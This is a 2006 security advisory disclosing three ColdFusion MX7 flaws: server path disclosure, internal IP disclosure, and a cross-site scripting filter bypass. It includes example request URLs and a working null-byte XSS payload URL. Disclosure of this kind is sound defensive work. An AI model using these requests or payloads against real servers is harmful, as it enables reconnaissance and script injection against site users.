security-assessment.com

Vulnerability Advisory

Name	ColdFusion MX7 - Multiple Vulnerabilities
Vendor Website	http://www.Adobe.com
Date Released	December 11, 2006
Affected Software	ColdFusion MX7 (and possibly MX6)
Researcher	Brett Moore brett.moore@security-assessment.com

Overview

This advisory discloses three separate security issues in ColdFusion MX7.

Server Path Disclosure

It is possible to cause the server to disclose the local path by making an invalid request. This information could be used to aide in other file or path based attacks.

The request must be for an existing file, that has an extension not handled by the web server. (ie: not asp,aspx).

The request must be terminated with either of the following;
/.jws
/.cfm
/.cfml
/.cfc

Some example requests are;
http://serverip/page1.htm/a.cfm
http://serverip/CFIDE/administrator/analyzer/img/minus.gif/a.cfm
http://serverip/jrunscripts/jrun.ini/a.cfm
http://serverip/jrunscripts/jrunserver.store/a.cfm
http://serverip/jrunscripts/readme.txt/a.cfm

This has been confirmed against installs that do NOT have debugging or robust exception information turned on.

Sending a request in this format returns a message similar to;
Error parsing the Tag Library Descriptor
file:/d:/sekretpath/hidden/page1.htm/..

Internal IP Address Disclosure

It is possible to cause the server to disclose the internal network IP address of the host. This information could be used to aide in other network based attacks.

Making a request to the /CFIDE/administrator/login.cfm page WITHOUT supplying a host, will result in the internal IP address of the server to be disclosed as part of an href tag.

```
---------------------------------------------------------------
GET /CFIDE/administrator/login.cfm HTTP/1.0


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 09 Nov 2006 05:44:02 GMT

<html>
<head>
<LINK REL="SHORTCUT ICON"
  href="http://INTERNALADDRESS:80/CFIDE/administrator/favicon.ico">
---------------------------------------------------------------
```

Cross Site Scripting Protection Bypass

ColdFusion MX7 appears to have built in protection against cross site scripting attacks, and will replace <script> tags with <invalid tag>.

Example URL that is converted to a 'safe' format;

http://server/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtmtestl&name=CFIDE.adminapi.administrator&path=/cfide/adminapi/administrator.cfctest"><script>alert()</script>

By inserting a %00 within the <script> tag, it is possible to still conduct cross site scripting attacks against users of Internet Explorer.

Example URL that will have script executed;

http://server/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtmtestl&name=CFIDE.adminapi.administrator&path=/cfide/adminapi/administrator.cfctest"><%00script>alert(document.domain)</script>

Solutions

Currently, the issues outlined in the report are being considered for the next major version of ColdFusion - the release date is currently not finalized. There is currently no plan to release security bulletins for any of the issues from the report

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

Security-Assessment.com is an Endorsed Commonwealth Government of Australia supplier and sits on the Australian Government Attorney-General's Department Critical Infrastructure Project panel. We are certified by both Visa and MasterCard under their Payment Card Industry Data Security Standard Programs.
For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 302 5093